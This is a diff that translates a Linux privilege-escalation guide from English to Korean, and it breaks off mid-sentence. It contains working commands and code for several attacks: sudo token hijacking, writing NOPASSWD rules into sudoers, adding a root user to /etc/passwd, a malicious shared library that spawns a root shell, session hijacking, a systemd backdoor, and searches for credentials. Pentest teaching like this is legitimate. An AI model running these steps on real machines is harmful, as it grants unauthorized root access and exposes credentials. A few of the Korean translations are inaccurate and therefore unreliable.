can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +이 프로젝트는 제한된 셸을 탈출하고, 권한을 상승시키거나 유지하며, 파일을 전송하고, 바인드 및 리버스 셸을 생성하고, 기타 포스트 익스플로잇 작업을 용이하게 하기 위해 악용될 수 있는 Unix 바이너리의 합법적인 기능을 수집합니다. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -1055,96 +907,79 @@ The project collects legitimate functions of Unix binaries that can be abused to ### FallOfSudo -If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) to check if it finds how to exploit any sudo rule. +`sudo -l`에 접근할 수 있다면, 도구 [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo)를 사용하여 어떤 sudo 규칙을 악용할 수 있는지 확인할 수 있습니다. -### Reusing Sudo Tokens +### Sudo 토큰 재사용 -In cases where you have **sudo access** but not the password, you can escalate privileges by **waiting for a sudo command execution and then hijacking the session token**. +**sudo 접근 권한**은 있지만 비밀번호가 없는 경우, **sudo 명령 실행을 기다린 다음 세션 토큰을 탈취하여 권한을 상승시킬 수 있습니다.** -Requirements to escalate privileges: +권한 상승을 위한 요구 사항: -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- 이미 "_sampleuser_" 사용자로 셸을 가지고 있음 +- "_sampleuser_"가 **최근 15분 이내에 `sudo`**를 사용하여 무언가를 실행함 (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다) +- `cat /proc/sys/kernel/yama/ptrace_scope`는 0임 +- `gdb`에 접근 가능 (업로드할 수 있어야 함) -(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) +(일시적으로 `ptrace_scope`를 활성화하려면 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`를 사용하거나 `/etc/sysctl.d/10-ptrace.conf`를 영구적으로 수정하고 `kernel.yama.ptrace_scope = 0`으로 설정할 수 있습니다) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +이 모든 요구 사항이 충족되면, **다음 링크를 사용하여 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 `activate_sudo_token` 바이너리를 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 함): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` - -- The **second exploit** (`exploit_v2.sh`) will create a sh shell in _/tmp_ **owned by root with setuid** - +- 두 번째 익스플로잇 (`exploit_v2.sh`)은 _/tmp_에 **setuid가 설정된 root 소유의 sh 셸**을 생성합니다. ```bash bash exploit_v2.sh /tmp/sh -p ``` - -- The **third exploit** (`exploit_v3.sh`) will **create a sudoers file** that makes **sudo tokens eternal and allows all users to use sudo** - +- **세 번째 익스플로잇** (`exploit_v3.sh`)는 **sudoers 파일을 생성하여 sudo 토큰을 영구적으로 만들고 모든 사용자가 sudo를 사용할 수 있도록** 합니다. ```bash bash exploit_v3.sh sudo su ``` - ### /var/run/sudo/ts/\ -If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) to **create a sudo token for a user and PID**.\ -For example, if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: - +해당 폴더 또는 폴더 내에 생성된 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\ +예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고 PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수 있습니다**. ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +파일 `/etc/sudoers`와 `/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있는지와 그 방법을 설정합니다. 이 파일들은 **기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다**.\ +**만약** 이 파일을 **읽을 수 있다면** **흥미로운 정보를 얻을 수 있을 것입니다**, 그리고 만약 **어떤 파일을 쓸 수 있다면** **권한을 상승시킬 수 있습니다**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +이 권한을 남용할 수 있는 것은 글을 쓸 수 있기 때문이다. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +이 권한을 악용하는 또 다른 방법: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +`sudo` 바이너리의 대안으로 OpenBSD의 `doas`와 같은 것들이 있습니다. `/etc/doas.conf`에서 그 설정을 확인하는 것을 잊지 마세요. ``` permit nopass demo as root cmd vim ``` - ### Sudo Hijacking -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행한 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) - -Or running something like: +사용자가 다른 쉘(배시가 아닌)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어 [sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다. +또는 다음과 같은 것을 실행할 수 있습니다: ```bash cat >/tmp/sudo < (0x0068c000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x005bb000) +linux-gate.so.1 => (0x0068c000) +libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +`/var/tmp/flag15/`에 lib를 복사함으로써, `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용될 것입니다. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x005b0000) - libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x00737000) +linux-gate.so.1 => (0x005b0000) +libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +그런 다음 `/var/tmp`에 `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`를 사용하여 악성 라이브러리를 생성합니다. ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { - char *file = SHELL; - char *argv[] = {SHELL,0}; - setresuid(geteuid(),geteuid(), geteuid()); - execve(file,argv,0); +char *file = SHELL; +char *argv[] = {SHELL,0}; +setresuid(geteuid(),geteuid(), geteuid()); +execve(file,argv,0); } ``` - ## Capabilities -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux capabilities는 **프로세스에 사용할 수 있는 루트 권한의 하위 집합**을 제공합니다. 이는 루트 **권한을 더 작고 독특한 단위로 나누는 효과**를 줍니다. 이러한 각 단위는 프로세스에 독립적으로 부여될 수 있습니다. 이렇게 하면 전체 권한 세트가 줄어들어 악용 위험이 감소합니다.\ +다음 페이지를 읽어 **권한에 대해 더 배우고 이를 악용하는 방법**을 알아보세요: {{#ref}} linux-capabilities.md @@ -1225,68 +1053,57 @@ linux-capabilities.md ## Directory permissions -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +디렉토리에서 **"실행"** 비트는 영향을 받는 사용자가 "**cd**"를 통해 폴더로 들어갈 수 있음을 의미합니다.\ +**"읽기"** 비트는 사용자가 **파일**을 **목록화**할 수 있음을 의미하고, **"쓰기"** 비트는 사용자가 **파일을 삭제**하고 **새 파일을 생성**할 수 있음을 의미합니다. ## ACLs -Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). - -**Give** user "kali" read and write permissions over a file: +Access Control Lists (ACLs)는 전통적인 ugo/rwx 권한을 **무시할 수 있는** 재량적 권한의 두 번째 계층을 나타냅니다. 이러한 권한은 소유자나 그룹의 일원이 아닌 특정 사용자에게 권한을 부여하거나 거부함으로써 파일 또는 디렉토리 접근에 대한 제어를 강화합니다. 이 수준의 **세분화는 더 정확한 접근 관리**를 보장합니다. 추가 세부정보는 [**여기**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인할 수 있습니다. +**kali** 사용자에게 파일에 대한 읽기 및 쓰기 권한을 부여합니다: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` - -**Get** files with specific ACLs from the system: - +**특정 ACL이 있는** 파일을 시스템에서 가져옵니다: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` - ## Open shell sessions -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. +**구버전**에서는 다른 사용자(**root**)의 **셸** 세션을 **탈취**할 수 있습니다.\ +**최신 버전**에서는 **자신의 사용자**의 화면 세션에만 **연결**할 수 있습니다. 그러나 **세션 내부에서 흥미로운 정보**를 찾을 수 있습니다. ### screen sessions hijacking -**List screen sessions** - +**화면 세션 목록** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` - ![](<../../images/image (141).png>) -**Attach to a session** - +**세션에 연결하기** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` +## tmux 세션 하이재킹 -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +이것은 **오래된 tmux 버전**의 문제였습니다. 비특권 사용자로서 root가 생성한 tmux (v2.1) 세션을 하이재킹할 수 없었습니다. +**tmux 세션 목록** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` - ![](<../../images/image (837).png>) -**Attach to a session** - +**세션에 연결하기** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1296,149 +1113,125 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +모든 SSL 및 SSH 키는 2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 경우 이 버그의 영향을 받을 수 있습니다.\ +이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개만 존재했습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키를 가지고 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** 비밀번호 인증이 허용되는지 여부를 지정합니다. 기본값은 `no`입니다. +- **PubkeyAuthentication:** 공개 키 인증이 허용되는지 여부를 지정합니다. 기본값은 `yes`입니다. +- **PermitEmptyPasswords**: 비밀번호 인증이 허용될 때, 서버가 빈 비밀번호 문자열로 계정에 로그인하는 것을 허용하는지 여부를 지정합니다. 기본값은 `no`입니다. ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +root가 ssh를 사용하여 로그인할 수 있는지 여부를 지정하며, 기본값은 `no`입니다. 가능한 값: -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified -- `no` : no +- `yes`: root는 비밀번호와 개인 키를 사용하여 로그인할 수 있습니다. +- `without-password` 또는 `prohibit-password`: root는 개인 키로만 로그인할 수 있습니다. +- `forced-commands-only`: root는 개인 키를 사용하여 로그인할 수 있으며, 명령 옵션이 지정되어야 합니다. +- `no`: 불가능합니다. ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - +사용자 인증에 사용할 수 있는 공개 키가 포함된 파일을 지정합니다. `%h`와 같은 토큰을 포함할 수 있으며, 이는 홈 디렉토리로 대체됩니다. **절대 경로**( `/`로 시작) 또는 **사용자의 홈에서 상대 경로**를 지정할 수 있습니다. 예: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +해당 구성은 사용자가 "**testusername**"의 **private** 키로 로그인하려고 할 때, ssh가 귀하의 키의 공개 키를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 있는 키와 비교할 것임을 나타냅니다. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고** **로컬 SSH 키를 사용할 수 있습니다** (비밀번호 없이!). 따라서 ssh를 통해 **호스트로 점프**한 다음, 그곳에서 **다른** 호스트로 **점프**할 수 있으며, **초기 호스트**에 있는 **키**를 사용할 수 있습니다. +이 옵션을 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다: ``` Host example.com - ForwardAgent yes +ForwardAgent yes ``` +`Host`가 `*`인 경우 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있게 되며(이는 보안 문제입니다). -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하고 이 구성을 허용하거나 거부할 수 있습니다.\ +파일 `/etc/sshd_config`는 `AllowAgentForwarding` 키워드를 사용하여 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). - -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Forward Agent가 환경에 구성되어 있는 경우 다음 페이지를 읽으십시오. **권한 상승을 악용할 수 있을지도 모릅니다**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## 흥미로운 파일들 -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### 프로파일 파일 +파일 `/etc/profile` 및 `/etc/profile.d/` 아래의 파일들은 **사용자가 새로운 셸을 실행할 때 실행되는 스크립트**입니다. 따라서, 이들 중 하나를 **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**. ```bash ls -l /etc/profile /etc/profile.d/ ``` +이상한 프로필 스크립트가 발견되면 **민감한 세부정보**를 확인해야 합니다. -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### Passwd/Shadow 파일 +운영 체제에 따라 `/etc/passwd` 및 `/etc/shadow` 파일이 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾고** **읽을 수 있는지 확인**하여 파일 안에 **해시가 있는지** 확인하는 것이 좋습니다: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +일부 경우에 **비밀번호 해시**를 `/etc/passwd` (또는 동등한) 파일 내에서 찾을 수 있습니다. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` - ### Writable /etc/passwd -First, generate a password with one of the following commands. - +먼저, 다음 명령어 중 하나로 비밀번호를 생성합니다. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 추가합니다. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` +예: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` - -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +이제 `su` 명령을 `hacker:hacker`로 사용할 수 있습니다. +또는 다음 줄을 사용하여 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.\ +경고: 현재 머신의 보안을 저하시킬 수 있습니다. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하고, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다. -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +민감한 파일에 **쓰기**가 가능한지 확인해야 합니다. 예를 들어, **서비스 구성 파일**에 쓸 수 있습니까? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +예를 들어, 머신이 **tomcat** 서버를 실행 중이고 **/etc/systemd/ 내의 Tomcat 서비스 구성 파일을 수정할 수 있다면,** 다음과 같은 줄을 수정할 수 있습니다: ``` ExecStart=/path/to/backdoor User=root Group=root ``` +당신의 백도어는 tomcat이 다음에 시작될 때 실행될 것입니다. -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### 폴더 확인 +다음 폴더에는 백업 또는 흥미로운 정보가 포함될 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (마지막 폴더는 읽을 수 없을 가능성이 높지만 시도해 보세요) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` - -### Weird Location/Owned files - +### 이상한 위치/소유한 파일 ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1450,77 +1243,59 @@ find / -type f -user root ! -perm -o=r 2>/dev/null find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; - do printf " Group $g:\n"; - find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null - done +do printf " Group $g:\n"; +find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null +done done ``` - -### Modified files in last mins - +### 마지막 분에 수정된 파일 ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` - -### Sqlite DB files - +### Sqlite DB 파일 ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` - -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files - +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일 ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` - -### Hidden files - +### 숨겨진 파일 ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` - -### **Script/Binaries in PATH** - +### **PATH의 스크립트/바이너리** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` - -### **Web files** - +### **웹 파일** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` - -### **Backups** - +### **백업** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` +### 비밀번호가 포함된 알려진 파일 -### Known files containing passwords +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 코드를 읽어보세요. 이 도구는 **비밀번호가 포함될 수 있는 여러 파일을 검색합니다**.\ +**또 다른 흥미로운 도구**는 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, 이는 Windows, Linux 및 Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다. -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### 로그 +로그를 읽을 수 있다면, **그 안에서 흥미롭거나 기밀 정보를 찾을 수 있을지도 모릅니다**. 로그가 이상할수록 더 흥미로울 것입니다 (아마도).\ +또한, "**잘못된**" 구성(백도어가 있는?) **감사 로그**는 이 게시물에서 설명한 대로 감사 로그에 **비밀번호를 기록**할 수 있게 해줄 수 있습니다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +로그를 **읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/#adm-group)가 정말 유용할 것입니다. -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### 셸 파일 ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1531,74 +1306,67 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` - ### Generic Creds Search/Regex -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일을 확인하고, 로그 내의 IP와 이메일, 또는 해시 정규 표현식도 확인해야 합니다.\ +이 모든 것을 수행하는 방법을 여기서 나열하지는 않겠지만, 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 체크를 확인할 수 있습니다. ## Writable files ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 